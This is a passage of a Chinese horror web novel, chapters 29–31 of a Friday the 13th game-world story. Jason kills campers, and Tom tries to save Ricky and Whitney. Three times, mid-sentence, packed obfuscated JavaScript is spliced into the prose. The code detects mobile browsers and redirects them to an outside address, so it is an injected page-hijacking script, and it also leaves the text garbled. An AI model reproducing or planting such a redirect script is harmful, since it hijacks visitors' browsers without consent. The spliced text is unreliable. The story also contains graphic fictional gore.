韦德当即就信了。他向来不信口胡诌,会说出水晶湖的故事,就证明他心底相信这并非虚假。而他的好兄弟瑞奇反驳道:“若是真的,你朋友不可能活着。” “是的,他们都死了,无一例外,全被杰森杀死了。”汤姆声音颤抖,眼珠像在湖泊滚湿的玻璃球,月光一照,反射出粼粼水光。 小队不少人心生恻隐之心,心想,他悲伤得真情实意,怎么可能说谎? 瑞奇徒然发出一声冷笑,“既然这样,你怎么会知道?”他年轻气盛,有挤满胸膛的自信,认定汤姆在开玩笑,于是全身刚硬如铁,装不下丝毫同情。 “电话啊。”汤姆轻声说,并丢来个疑惑的眼神,像是在说这么简单的问题也不明白? 汤姆深谙说多错多的道理,对瑞奇这样的人就要装出一副理所当然的样子。 瑞奇硬生生咽下了到嘴边的疑问,他不愿自己显得太愚蠢。大脑快速思索,汤姆的朋友可能在逃命中向他发信息求救......不过两三秒,种种可能从心头略过,他便自以为清楚,转而质疑道:“那你怎么会来这儿?” “因为我做好了死的准备。”汤姆嘴角浮起安详的微笑,“我来这里,就是来寻求死亡。”他反问大家,“难道你们不是吗?” “谁他妈活腻了来找死?”瑞奇骂到。 火光照着神情各异的众人,汤姆知道他们被唬住了。他可以从这群人闪烁胆怯的眼睛和发青的脸上看出来。 空气如同冻结的河流,暖烘烘的火堆驱不散人群面上的阴霾。汤姆没有乘胜追击,因为他也不知道该如何进行下去,说这番话不过兴起。 幸好僵持中,细致的惠妮率先发现不对,“我们一开始可没有说要来水晶湖,会走这条路也是偶然。”她指出。 “是啊,我们可从来没说过要来这个鬼地方。”麦克附和女友。 “要不是韦德,没人知道这儿是水晶湖。” 众人狐疑地望过来。 汤姆面不改色,心想:嗯,这确实是个问题。他不知道怎么解释,便笑,苦涩地笑。 难道还有什么隐情?惠妮和其他人都动摇了,只有韦德一个劲催促:“你倒是说啊。” 汤姆叹息一声,说:“这是因为——”他瞳孔倏地放大,看着对面漆黑的丛林,浑身竟然开始打颤,“那、那里......杰森。” 最后“杰森”一词轻如指尖拨动的弦,却比韦德响亮的声音更深入众人耳内,耳膜的震荡牵动出人深埋的恐惧。 所有人扭过头,脸上如临大敌,大气也不敢出。 月亮高高悬挂漆黑天幕,他们可以看到叶片发颤的灌木丛,枝桠窸窸窣窣,似乎是风吹,阴森寒风总把一切活物吹得跟死人鬼影没什么两样。 那里有什么? 他们搜寻形如鬼魅的幢幢树影,却听笑声响起,如同船划破冰河,清脆但刺耳。他们一致转头,看到一个笑得歪七扭八的人。 汤姆捂着肚子,白净的牙齿毕露,嘴里一会喊受不了,一会叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764416|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子疼。杰森给他挫折太大了,汤姆也就只能欺负欺负别人来满足一下。 大家这才反应过来被戏弄了,顿时群情激昂。 “操他的杰森。草他的水晶湖。”瑞奇气急。 惠妮和亚嫚达翻了个白眼,“很好玩吗,汤姆?你可真是个小恶魔!” 麦克恨不得揍这个熊小子一顿。韦德下意识阻拦,然后腹部挨上一拳,痛得他面目扭曲。惠妮连忙拉着麦克致歉。 道歉声和瑞奇的咒骂交织在一起,汤姆又顶着水玻璃似的眼珠咕噜望人,让瑞奇觉得自己再骂下去,像个滑稽的小丑,他以一声咒骂结尾:“该死的,杰森要是找上来,你准去死吧。” “好。”汤姆抹掉眼角笑出的泪,郑重其事地说,“为了大家,我愿意第一个去拖住杰森,哪怕代价是死亡。” 篝火给他面庞敷上晚霞般的薄红,汤姆正襟危坐,月光慢吞吞在他身后镀了圈淡银色的光晕。 饶是尚处怒火中的瑞奇也一阵恍惚,反应过来时,气消散个干净。众人没了计较的心思,空地上只有柴火灼烧的脆响。 惠妮和麦克忽地起身朝林木走去。 “你们去哪儿?”韦德问。 惠妮没理会,只有麦克回过头,冲韦德笑,“亲热去。” 韦德哇哦一声,建议道:“嘿,麦克,要戴套子。”等人走远,他说,“特小号的。” 慧妮和麦克的离开,没有影响汤姆和韦德,却刺激了另外两位单身男女。韦德正和瑞奇长篇大论GPS原理,瑞奇起初嘴上敷衍几句,后来干脆一眨不眨盯着亚嫚达,两人眼神拉丝。 当着韦德的面,瑞奇对亚嫚达比手画脚,做口型。亚嫚达愕然又刺激,扬着笑扯开衬衫,露出丰腴的上半身。而韦德,这个傻子还一无所知,滔滔不绝地讲。 汤姆看不下去,扯住韦德的领口,“走,我们去别处逛逛。” 说得兴起的韦德不愿起身。 “不,兄弟。”瑞奇接住亚嫚达丢来的内衣,意味深长地说,“你得离开,和汤姆去谈你愚蠢的东西。” 韦德看到这一幕,也明白自己碍眼了。他狠狠拍了一把瑞奇的肩膀,“行。好好表现,瑞奇,可别不中用。” 在森林闲走并非汤姆突发奇想。与其被动等待,汤姆更想想主动出击,早点死了,他还能重开下一局。 夜晚寒气重,一离开篝火,冷风直往皮肤上吹。汤姆不由有点后悔,但身后男女亲热声响又让他重新坚定离开的想法。 他们在林木边缘走上一圈,韦德突然捂着裤子急匆匆跑开,只来得留下句让汤姆原地等他。 “好吧。”汤姆看着瞧不见人影的树林应到。 夜晚一个人的时候容易感到困倦,两分钟过去,汤姆已经打了好几个哈欠。然后,汤姆和死寂的森林一起被尖叫惊醒。霎时间,藏匿的群鸟如同碎石坠落深潭而飞溅出的水花,接连从树冠中展翅高飞,嗖嗖声不绝于耳。 汤姆脑海拉响警铃,小心循声找去,在灌木丛后看到血肉模糊的韦德。他平复骤然加快的心跳,谨慎张望四周。 月光盈满森林,像是在林木间蒙上淡淡的雾。如同十分钟前他戏弄众人扭头看那样,密林之中,什么都没有。不对—— 当时真的什么都没有吗? 寂寥如同无形的大网,笼罩住这块地。别说人,连鸟鸣风声也听不到。 ——杰森。 这个名字强烈地闪现在汤姆脑海。 29.十三号星期五06 一记闪电跃出森林,划过火堆时,烈火照出它灰扑扑的羽毛。四顶黄帐篷如掰碎的面包丁,灰鸟盘旋落下,隔着帆布抓紧摇晃的支杆。 树丛中有东西动了动,黑影如同夜幕般无声而至。帐篷倒映出两道晃动的人影,尚处激情中的他们没发现危险悄然降临,唯有灰鸟嗅到一丝气息,抖动着羽翅,蹿入夜空。 “好像有人......”亚嫚达听到动静,“难道是韦德在看我们?”她猜测道。 “让那变态看去。”瑞奇满不在乎。 亚嫚达当即推开瑞奇,她一语不发。瑞奇只得扯开嗓:“韦德,你他妈快滚开。” 帐篷外毫无声响。营地只有他们两人的呼吸,还有木柴哧哧的喷火声。 瑞奇胸有躁火,吼了几嗓子后,急哄哄凑近亚嫚达,说:“没事了。” 他以为这样便能打消亚嫚达的顾虑,却看到亚嫚达冷眼瞧着他。“去找他,让他别打扰我们。” “你让我这个样子出去?”瑞奇额头直跳。 “我不在乎。”亚嫚达注视瑞奇。她无法抛开心中的疑惧。 “我不去。” “那你别想继续。” 瑞奇几乎要破口大骂,贱人!去你妈的!没想到听见脚步声,瑞奇脸色一变。 亚嫚达的担心不是多余的,真有人在附近。 瑞奇飞速套上衣服,手还在系皮带,人已经走出帐篷。“韦德!我要杀了你。”他大喊,仿佛这样就能宣泄出怒火。 夜幕之下,营地的四顶帐篷和火堆一览无余,唯独不见韦德踪影。 瑞奇皮带也不系了,任它在腰间垂落,目光在营地寻觅了一圈又一圈,没有半个人影。他露出警觉的神情。汤姆声情并茂的表演闪现眼前,他才被戏弄过,对玩笑抱持十足的防备。这一幕如此熟悉! 铁定是汤姆那混球出的坏主意。两人指不定在哪儿偷笑呢!好你个韦德!好你个汤姆!想看他惊慌失措?不可能! 潮水般的愤懑涌上心头。瑞奇步迈得大,脚下落叶嚓嚓作响,犹如瑞奇在灼烧的怒火。他带着一腔怨愤走进森林,发誓要找出两人,揍他们一顿不可! 森林温度更低,每当树叶沙沙摩挲,意味着冷风来袭,而无力阻止的瑞奇像个傻子任它吹得头昏脑涨。一想到他和他的小兄弟本该在温暖的巢穴里打滚,现在却顶着寒风,跟条野狗似的在丛林流浪,瑞奇就忍不住气闷,一路上骂骂咧咧。 “韦德,你死定了。”瑞奇扯断一截树枝,在空中挥舞。韦德要是一团空气,保管把他抽得痛哭流涕。“如果你从树后跳出来,我一定揍你一顿。拜托老兄,我还要回帐篷。” 忽地,他身后传来略带熟悉的脚步声。 “你终于知道出来——汤姆?”瑞奇回头一瞧,“好啊,果然是你出的坏主意。偷窥好玩吗?韦德那小子在哪儿,叫他出来,你们的把戏已经被识破了。” 偷窥?他这么肯定,定是听到了动静,才会误解。汤姆忽然明白为什么没看到杰森。 “亚嫚达还在营地?” “不然呢,臭小子。” 汤姆拔腿就往营地跑,瑞奇愣了一下,连忙追上去,嚷嚷着跑什么。 汤姆头也没回地朝瑞奇解释:“韦德死了。杰森杀死的。” “你觉得我是傻子吗?”瑞奇嘲弄。他不可能再被戏耍第二次! “亚嫚达有危险。你们听到的动静很有可能是杰森。” 牵涉到亚嫚达,瑞奇开始犹豫不决。“汤姆,你这次还骗我,你就完蛋了!”他撂下警告。 汤姆没理会。他现在胸膛喘得厉害,一呼吸,口鼻全是泥土腥甜的气息。白天长途跋涉,他便认为大地硬得硌脚,跑起来才发现,泥土松软,轻易烙上脚印。好几次,他错以为踩中流沙,跑得更快了,生怕陷进地底。 背影落到瑞奇眼里,则成了只蹦跳的兔子。这安慰了自认体能出色的瑞奇,但他到底不甘心,一心要越过汤姆好扭头啐他口唾沫!然而,直到树木缝隙出现营地火光,瑞奇也没能得偿所愿。但他顾及不上汤姆,全部的心神都被尖叫攫住。 声音越来越凄厉,如同芒刃刺破倾听者的皮肉,绝望渗入皮下。瑞奇只觉得冷风在身体里奔窜。那丝熟悉感,更叫瑞奇浑身打颤,跟在汤姆身后,连滚带爬跑进营地。 空地右侧撑着三架帐篷。左方是乔木和篝火,中间挂了个帆布长条物,犹如法棍面包,在烈火烹饪下,蠕虫般扭动。 无需再寻找声音。他们察觉到真相,却宁愿一无所知,好叫这浑身的战栗停息。 汤姆用更快的速度跑动,将风声抛到脑后,却让惨叫声迎面而来,且愈发清晰。他无法捂住耳朵,心里便备受煎熬,切切实实感受到杰森的冷血可怖。 “这是一个游戏。”他告诉自己,“你不用对这些人愧疚。都是假的,这只是个游戏。” 在叫喊与风声中,汤姆捕捉到一道破空声,经柏斯基特训的他下意识停住脚步,只见前方约两英尺处插入利箭。来势之凶,震起碎石灰尘纷纷扬扬,箭尾巴在空中乱颤。 就在这时,瑞奇越过汤姆。 “亚嫚达!”他大喊着,“亚嫚达——啊!” “砰”的一声,瑞奇轰然倒地。剧烈的疼痛从腿部传导而来,瑞奇躺在地上不断发抖,哀嚎连连,盖住了亚嫚达的尖叫。他连扭头的力气都没有,只觉得猛兽撕咬了他的腿,远处的火堆和长布在眼前晃出鬼影。 瑞奇求救的目光打到汤姆身上,乞求道,“快救亚嫚达!拜托!” 他们耽搁的这点时间里,亚嫚达的声音已不如初听时高昂,扭动的幅度变弱。而瑞奇虽然被捕兽夹咬住腿,但这不足以致命。 汤姆便朝着树靠近。他不知道杰森是否离开,因此十分谨慎。亚嫚达已经命悬一线,汤姆只能祈祷他动作更快,在杰森出现之前救下人。 直到汤姆来到火堆旁,空中没有莫名其妙的箭飞出。这不仅没让人放松,反而更是提心吊胆。凝滞的空气中仿佛潜藏着某种蓄势待发的危机。不过,汤姆无暇猜测杰森在哪,他感到束手无策。 木柴上燃着熊熊烈火,大半个帆布置身于火中,布料温度炽热非常。传出的尖叫声微弱如低语,汤姆知道时间不多了。他逡巡的目光瞟到乔木,忽地有了主意。 汤姆手脚并用,三两下爬上树,没有半点犹豫,拽住发烫的绳索往上拉。情急之下,手臂迸发出巨大的力量,让汤姆忘却高温,几个呼吸间,帆布抵靠树枝。 汤姆将绳索在腕间缠绕,以便两手抱住帆布。在碰到帆布时,他的心凉了半截—— 这是亚嫚达的腿。 快点!汤姆加快拖拽的速度。 一道亮光闪过,汤姆臂膊顿时一轻,手疾眼快抓住树枝,险险稳住身形。他另一只手还抓着帆布,重量却是前所未有的轻。 他听到了东西掉落的声音:哗啦!哗啦!几十步外传来瑞奇高亢狂乱的喊叫。哗啦!哗啦!泥土与火星飞溅。 汤姆低头看去,树下一片狼藉。 内脏遍布,帆布在火焰中若隐若现,吞卷的火舌吐出白烟,只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764417|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两条腿露在外面。汤姆发觉到他抓住的是布料。 营地飘荡着烤肉的气味。 汤姆松开手心,黄布犹如大块帷幕落下。 这只是个游戏。哪怕这群人再鲜活,哪怕他们会像亚兹拉一样,因戏弄而恼羞成怒,又轻易心软。但这只是个游戏——见鬼!世界上真的有这么真实的游戏吗? “再怎么真实也是假的。”汤姆静静地说,“他们并不存在。” 前几次亲历杰森的砍杀,汤姆只看到詹姆斯的遇害。詹姆斯虽然死得粗暴,好歹称得上是干脆。亚嫚达不一样,她死得是这么痛苦,她不曾停歇求救,直到死亡带走她的声音。 汤姆想,下次,他要一个人,才不和别人一起。 汤姆强迫自己不要胡思乱想,翻身跳下树。大脑回想刚才发生的一切,显然那道白光并非错觉。他回忆着白光的方向,朝林木看去。 树冠茂密,和低矮的灌木将光遮得严实,在一片黑暗中,那片煞白变得如此瞩目。汤姆没有丝毫犹豫,奋力跑去。树林和刀安静无声,仿佛屏住呼吸在静候。 直至一双健壮有力的手拔出砍刀—— 是杰森。 他看着跑过来的汤姆,将砍刀往身后放。 汤姆险些没刹住脚,冲进灌木丛。但比起被划伤,汤姆想他可能会先一步被杰森的砍刀贯穿。 杰森身上的装扮没有变化,脑袋依旧套着陈旧的麻袋,却不再显得滑稽。他强悍的身躯,连同那个本该显得诙谐的头套都源源涌出恐怖的气息。汤姆忽然发现,这一幕和他刚开始登录游戏的界面重合。他依旧没看到刀刃上的惊恐脸,心里却划过詹姆斯、韦德、亚嫚达的面庞。 可恶的杰森。汤姆咬牙,他现在手无寸铁,可是,他不想后退。他想上前,想发疯,想要不管不顾,狠狠地揍杰森、揍他的屁股!然后回到现实中,去逗亚兹拉,再去寻求柏斯基的安慰。 于是汤姆靠近杰森。他以为杰森会举起砍刀,他都想好了!哪怕杰森捅穿他的胸膛、砍掉他的脑袋,他也要拼劲全力给杰森来上一拳。然而,杰森只是歪了下脑袋,砍刀依旧严严实实藏在身后。 杰森动也不动地站着,与黑夜几乎融为一体,宛如幢幢树影的一份子。在汤姆试图扒拉开灌木时,杰森终于动了,他退进丛林中。 汤姆没有跟上去。因为,他听到身后的呼救。 “汤姆!救命汤姆!”瑞奇声嘶力竭,“救我!” 杰森已不见踪影,树干划痕昭示他留下的行为。汤姆恢复冷静,对刚才热血上头的自己感到脸红。 怎么还像个小孩子一样冲动,还要人安慰。汤姆的脸涨得更红了。 汤姆背影不动,瑞奇以为出事儿了,嚎叫声带上了哀悼之情。“你至少救了我再死啊!” 汤姆没好气道:“活着呢!” 他搀扶瑞奇坐起身,打算先好好端详捕兽夹。他之前并没见过这东西,但捕兽夹结构简单,汤姆很容易想通原理,因此不敢轻举妄动。 “别傻看了,汤姆,快救救我!”瑞奇白着脸催促,“再看下去,你就要和尸体作伴了。” “催什么催?” “我要变成尸体啦!你救不救我?” 汤姆只得上手,然后使劲浑身力气,利齿啃啮似的,将瑞奇小腿咬得深可见骨。 瑞奇疼得龇牙咧嘴,疑心汤姆是故意的。 需要点东西帮忙撑开。 汤姆环顾四周,从火堆捡出两根尚且完好的树枝,目睹一切的瑞奇发出悲痛欲绝的嚎哭声。 30.十三号星期五07(配角视角居多) 林间众鸟乱飞时,麦克正兴致勃勃拉着惠妮探索深山小经。他们两手空空,想着深林之中也没有信号,便没带通讯设备,自然无法得知营地接二连三的惨案。直到枝头突然蹿出的黑影,吓得惠妮失声惊叫。 “惠妮!” 麦克立马从前方跑来,挥动着拳头似乎在恫吓隐匿黑林的危险。然而在看清黑影后,他所有的警惕全化作嗓音里的笑意吐出:“惠妮,是一只鸟。你瞧。” 惠妮看去,灰鸟眼珠乌溜溜,啄了一口羽毛,悠悠起飞。她舒了口气,但心里依旧忐忑不安。那鸟出现得太突兀,仿佛是某种不详的征兆,厄运随时可能滚滚而来。 她不愿再和麦克冒险。“我们回去吧。” “不,惠妮,你看那儿。”麦克的注意力随着鸟儿移动,停在地名标牌的白漆字母上,“哇,韦德那家伙还真没说错。” 惠妮感到害怕,抱紧了胳膊。她再次强调:“听着,我不认为我会呆在这里。” “韦德的故事吓到你了?” “我只是觉得呆在这里不太恰当,” “去里面看看吧,惠妮。走吧。” 惠妮拗不过麦克,随麦克一起穿过路标。晚风跟在他们身后,吹得树叶齐齐摇晃,在黄木板上摩擦出声,白漆字体历经风雨依旧清晰可见—— 水晶湖营地。 越往前走,惠妮越能感受到这个地方荒废已久。随处可见盘根交结的林木,草丛疯长,两侧齐腰高的小草蔓延到路中央,中间有相当一段,他们宛如在绿海中前行。草尖有着不失于银针的锐利,惠妮多次感到刀片擦过的战栗。 惠妮将更多的视线放到麦克身上,他正铆足了劲往前头冲呢!这莽牛一样的架势让夜晚没那么可怕。但惠妮还是祈祷:麦克快点对这场水晶湖营地冒险乏味吧! 她的期待注定要落空。草丛齐刷刷被砍掉大半截似的,一下变得低矮而稀疏,破旧的木屋格外显眼。门口的庭院胡乱摆放了箭靶,还有几艘倒扣的帆船和车。 “麦克,你在做什么?” “到里面看看。” “不。”惠妮拉住麦克。 麦克用活泼的调子问:“你冒险的精神到哪儿去了?” 麦克喜欢冒险探索,他好奇心多的能叫小孩子羞愧。惠妮真希望麦克能分清场合,“这不是冒险的时候。” “你在怕什么?”麦克反过来拉拽惠妮。 “没——” “那犹豫什么?” 麦克一把揽住惠妮,推开房门,叫嚷道:“我敢说这里有好玩的东西。” 屋子内部看起来还生活在上个世纪似的,桌椅表皮的油漆脱落,裸露出紫黑色的木纹。很多家具都缺胳膊断腿,灰尘厚积。 这屋子看起来许久没人居住,惠妮心下稍安。她和麦克应该没有擅闯别人的屋子。 “嘿。”麦克叫了一声。 “又怎么了?” “她看起来很像你。很酷,你应该留下来。” 麦克边说边将怀表塞给惠妮,完全没给人拒绝的机会。他马不停蹄拉着人走进下一个房间。惠妮想了想,还是没有将怀表放回去。 新房间摆件比刚才屋子内的小了一半,他们像是误入小人国的巨人。各式玩具摆在地上、板凳甚至是衣柜顶。很多早已开裂变形,锈迹斑斑,可是仍然能看出布置者对屋子小主人的爱意。 这个认知让惠妮心里一松,感觉小屋也没那么阴森,带着霉味的空气仿佛都变得温柔清新起来。她眼睛不再紧绷地眯着,用平和的目光打量着屋内,直到视线落到刻着名字的床板—— 杰森。 恍若当头一棒,霎时间,刺骨的阴冷感卷土重来。惠妮甩开麦克的手:“我想走!现在就走!” “你闻到了吗,惠妮?”麦克指着敞开的门,恶臭的气息从那儿飘散出来。“从那儿发出的。” “麦克,拜托。” “别这样,惠妮,你瞧,好像有人在这里。” 有人?惠妮一愣,视线看去。门后伸手不见五指,从他们这侧斜照过去的微薄光线,正好打在浴缸上黑球似的东西上。粗看之下,竟像是一缕缕的头发。 麦克眼里闪着兴奋的光,“让我看看到底是什么。” “你疯了!?” 惠妮不敢过去,只能眼睁睁见麦克进屋。 屋内黑暗寂静,麦克忍着像是食物腐烂数月的臭气,拎起那东西时,余光还瞟到一团紫红,他没放在心上,注意力集中在手里的东西。入手触感如人的头发般真实,缠绕指尖的部分粘稠润滑。麦克感到恶心,但好奇心占据了上风,他朝门边走了几步,惠妮顿时疯狂地尖叫。 “丢开它!麦克丢开它!” 麦克手腕下意识一转,想知道是什么使惠妮惊恐万分。就见蛆从腐烂的口鼻处幽幽爬出,黑发丝隐约可见白胖蠕虫。 “上帝啊!” 他猛甩手,头颅掉在地上,骨碌滚开,几只虫在地面爬行。 麦克退了好几步,脸色惨白得像是泡了水的尸体。慌乱中不知碰到了什么,眼睛被白光充斥,花了几秒适应后灯光大开的浴室后,那泡满尸首的浴缸映入眼球。 在意识到看了什么之前,麦克已经转身捂着脖子干呕。发现把蠕虫黏液摸到脖子上后,麦克吐得更凶了。 “麦克......”惠妮怕得要命,对麦克的担忧让她鼓足勇气走进,却被浴缸吓得四肢再度发软。 浴缸内爬满蛆虫,两具尸首腐烂的辨不清面目,支离破碎的内脏淹没了骸骨。 嘭的巨响从木屋客厅传来,他们从惊惧中挣脱,忙朝客厅跑去。本该敞开的小屋大门此时紧紧闭拢,刚才的动静想来就是门合拢的声音。 但是,谁关上的门? 他们望向窗外,月光照耀在林木上,簇簇绿叶如同洞悉凶险,静悄悄挂在枝头。 没有风...... 恍若有一只巨手攥住他们的心脏,两人陷入无法压抑的恐惧。 麦克深吸一口气,好让自己两腿不打颤,谨慎地走到门口。三四十年前的门上没有猫眼。他趴下身,眼睛朝门缝探去。门外只有木地板和远处的草地树干。 忽然,麦克痛叫一声。惠妮只看到他沾满鲜血的手掌。但她很快就知道发生了什么,接连不断的尖刀从地上冒出。 “惠妮!”麦克惨叫着爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764418|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,踉跄跑向另一个方向,“惠妮快跑!” 惠妮强忍着泪,跑出木屋,使劲力气在半人高的草丛中奔跑。不知道跑了多久,她喉咙溢满血腥气。前方树丛忽然出现两个熟悉的身影。 “汤姆!瑞奇!” “惠妮!”两人都有些惊讶。 见面骤然的惊喜褪去后,惠妮注意到两人奇怪的姿势。“你们怎么在这?瑞奇怎么了?” 瑞奇拄着木棍,汤姆搭把手,帮他稳住平衡。一路上他竭力忘掉自己的伤,惠妮这一问,努力全白费。瑞奇顿时脸白了,回忆起捕兽夹利齿咬合皮肉的痛感。 杰森走后,汤姆用树枝侥幸打开了捕兽夹,再利用柏斯基教他的急救知识,勉强用衣服布条包扎好,虽然不再流血,但得小心不能牵动小腿肌肉。之后,他提议跟着GPS走,去找公路,或者有信号的地方,多少还有点求生的希望。营地是不能待了,谁知道杰森会不会突然杀回来。 瑞奇不太情愿,但他知道自己现在是个拖累,便退而求其次,叫汤姆找个武器再走。他当时倒是不说什么人多不用怕了。可惜醒悟晚了,深山荒无人迹,哪有什么合适的武器? 汤姆最后只找到根木棍,他十分怀疑棍子打在杰森身上只怕是给他挠痒痒。瑞奇却不这么想,他没见过杰森,只担心自己的伤口会拖后腿。 听到这想法的汤姆看瑞奇的眼神顿时带上怜爱。他第一次进入游戏也是这么天真。 瑞奇担忧惠妮和麦克,有点庆幸又妒忌两人早早离开营地。汤姆嘴唇张了张,还是没说出他认为这两人凶多吉少。所以,当撞见惠妮时,汤姆比瑞奇更惊讶。他真没想到惠妮还活着。 麦克不见人影,惠妮慌慌张张的神情足以说明一切。汤姆不用多问就知道他们也遇上了杰森,并且看样子,麦克估计沦为杰森的刀下亡魂。 瑞奇按捺不住焦急,“惠妮,怎么就你一个人,麦克呢?”说完,他才意识到某个可怕的事,“......你们也遇上杰森?” 惠妮沉痛地点头。在朋友们面前,她仍由悲伤淹没自己,泣不成声。 “坚强点惠妮。”瑞奇抱住惠妮。 汤姆看着夜空,不知道多久才会天明。瑞奇本来有些稳定下来的情绪,被惠妮的惊慌与泪水一勾,跟着起起伏伏。 瑞奇想到他先前还说汤姆像个兔子,最后自己到成了那个蹦蹦跳跳的,难免生出被命运捉弄的愤怒。他握紧了木棍,连同抓着汤姆肩膀的手一紧。 汤姆瞥了眼瑞奇,他还没意识到自己的表情有多惊惶不安。惠妮也因为麦克的凶多吉少神色郁结。 汤姆不得已打断两人的悲伤:“我们得快些走了,杰森很可能追在惠妮后面。” 惠妮抹掉眼泪,主动伸手,帮忙扶着瑞奇。他们几乎是架着瑞奇,一路狂奔。 瑞奇脚不沾地,手拿着木棍无所适从,但汤姆和惠妮全都埋头赶路,没一个人注意到他的尴尬。逃命要紧,又全是朋友们出力,瑞奇也不好意思说要下来自己走。 不知道走了多久,他们见到马路。而巧之又巧的是,前方打来两束灯光,在黑夜中如此醒目,汽车鸣笛声堪称天籁,大家喜极而泣。 31.十三号星期五08 惠妮冲上马路,双手拼命挥舞,扯开嗓子:“救命!拜托!” 瑞奇心潮澎湃地跟着叫,声音不亚于惠妮。他们目光灼灼,哪怕刺眼的远行灯晃得眼睛发酸,也不肯移开视线,唯恐眨了眼,夜晚凄冷的风刀便趁机刺破希望。 引擎的轰响越来越近,汽车犹如太阳驰来,将柏油路照得透亮。落在瑞奇两人眼里的希望光芒,却叫汤姆没由来地心里打咯噔,在大脑思考出原因之前,他已先一步拽住惠妮的胳膊。 惠妮被拉得踉跄后退。汽车擦身而过,她头发狂乱地舞动在月光下,几秒后渐渐停息,露出一双发红的眼睛。她抿紧唇,压抑住涌到喉咙的哭声,双眼无神地看向汤姆。 “往好处想,”汤姆安慰道,“我们避免了车祸,又捡回一条命,不是吗?” “呸!”瑞奇吸了满嘴尾气,火气正盛,听不了一点俏皮话。在他看来,汤姆这番话是自暴怯懦。不敢去找司机的茬,竟然将原因归结到自己身上!胆小鬼! 瑞奇又啐了几口唾沫,情绪激动非常,木棍在空中甩得刷刷作响,“全他妈的是那个狗屁司机的错!操他妈的混——啊!” 惠妮和汤姆齐齐侧头,瑞奇大呼小叫,绑扎小腿的止血布料渗出红血。人虽捂紧腿,头却抬着,死死瞪向汽车。显然,径直开走的车比流血不止的伤更令瑞奇绝望。 “行了,看哪呢。”汤姆啪的摁住瑞奇,“腿不疼吗?” 眼见短短几秒,止血布像是泡了血水,濡湿了一大块,汤姆便蹲下身,准备重新包扎这个倒霉蛋的伤口。 “包什么包!”瑞奇想要硬气地叫汤姆别管它。 没出息的坏腿!它爱流多久就流多久,流多少他都不在乎!然而身体失血,瑞奇有些力不从心,张了张干瘪的白香肠似的两嘴,吐不出一句话。 “等等,好像停下来了。”惠妮忽地说。 汤姆抬头,车亮着红灯停在路边,然而让他眉头一皱的,是惠妮早已等不及朝它跑去的背影。 冲动啊惠妮!他有些忧心,但转念一想,若是车有危险,刚刚就能直接撞死他们三人,没必要多此一举。反而是他们因为犹豫而慢吞吞,说不定司机还不耐烦等呢! “早他妈该停下了!”瑞奇冷哼,“非得往前蹿,故意耍我们。那个狗屁司机——啊!你干什么汤姆?” 汤姆扬扬撕下的布,布上凝结的血块看得瑞奇额头直跳。“不扯下来,怎么给你包扎?”他耸耸肩。 瑞奇:“……” 汤姆说得有理有据,瑞奇却奇怪地感到气闷。短暂的沉默后,他继续谩骂司机。毕竟腿在汤姆手上,汤姆虽然不是小心眼,但脾气也没好到会对骂他的人笑脸相迎。 瑞奇如果没死在杰森手上,迟早有一天,会因他刻薄的嘴而死。汤姆想着,那股被瑞奇粗鲁话的煽动的烦躁随之消退,他心平气和地从包里找出干净的衣服,用力撕成长条。 某个瞬间,瑞奇说话声戛然而止。几乎是同一时间,汤姆反应迅速,抱着瑞奇就地滚开。下一秒,镗朗声响起,深埋土地的砍刀反射出飘飘落地的布条。杰森宽大的阴影笼盖下,刀锋朴实,甚至有点发暗。 好险。 看着弯下腰拔刀的杰森,汤姆后知后觉直冒冷汗。他心里感到不可思议,杰森身躯有着野熊般的魁伟雄劲,随便一步,脚步声都不可能轻。然而实际上,汤姆刚才就是一丝声音都没听到!若不是察觉瑞奇的不对劲,只怕杰森这杀人狂就得逞了。 跑是跑不过了,打——打得过吗? 汤姆忧虑重重地回头,更令他脑袋发疼的一幕出现了。 瑞奇一动不动地躺地,脑袋旁有块格外俏丽的石头——尖端红渍正新鲜。腿还在汩汩流血,身体没有多余的血色匀到面庞,脸色惨白如尸体。 汤姆脸色大变,什么杰森他全然抛在脑后,赶忙先探了一把鼻息。 还好还好,还有气。汤姆心下略安,他刚刚生怕自己不但没救人,反而阴差阳错导致死亡。 刚松一口气,他立马又紧张起来,还有个杰森在虎视眈眈呢! 他颇有些忐忑地转头,祈祷杰森可别默然举着砍刀,一副在背后站了很久的模样。要知道,之前杰森破窗带给汤姆的阴影不小。特训那几天,汤姆都躲着飞船上的舷窗走。 出乎意料,杰森仍然在拔刀,也许刚才力气过大,刀卡进泥地。 好机会呀! 